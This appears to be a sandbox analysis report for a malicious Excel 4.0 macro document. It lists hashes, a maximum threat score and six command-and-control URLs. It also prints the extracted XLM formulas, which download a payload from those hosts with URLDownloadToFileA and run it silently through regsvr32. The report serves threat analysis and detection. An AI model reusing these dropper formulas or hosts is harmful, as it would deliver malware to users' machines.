0b22319e0278fc676597e1c06f60a4d3026e3bd48ac5250e875ec2cf255acc34

General

Target

0b22319e0278fc676597e1c06f60a4d3026e3bd48ac5250e875ec2cf255acc34
Size

45KB
Sample

241120-xvganawmeq
MD5

98ec58e1a2840585cb0f5700ef41aa70
SHA1

8b6f8dd9d4bbfde3067cd08fc8efae6f485d92f2
SHA256

0b22319e0278fc676597e1c06f60a4d3026e3bd48ac5250e875ec2cf255acc34
SHA512

288e455723c9557f2468e23027b0668a73fddb868c5f0215c6ee4b1064ba32076b143b3e3e8e181ba9ee7e6a435e0f2da0096320b27e256466d8007e9d393315
SSDEEP

768:wBXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:wBXcC5iybdtT5fTR4Lh1NisFYBc3cr+A

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://sorathlions.com/tmp/FlTSgo/

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/

https://uzamart.com/indrawal/GZ7bN0V68oRpN7/

http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/

http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/

http://blog.centerking.top/wp-includes/PZ823VXII8/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/FlTSgo/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://uzamart.com/indrawal/GZ7bN0V68oRpN7/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/PZ823VXII8/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://sorathlions.com/tmp/FlTSgo/

xlm40.dropper

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/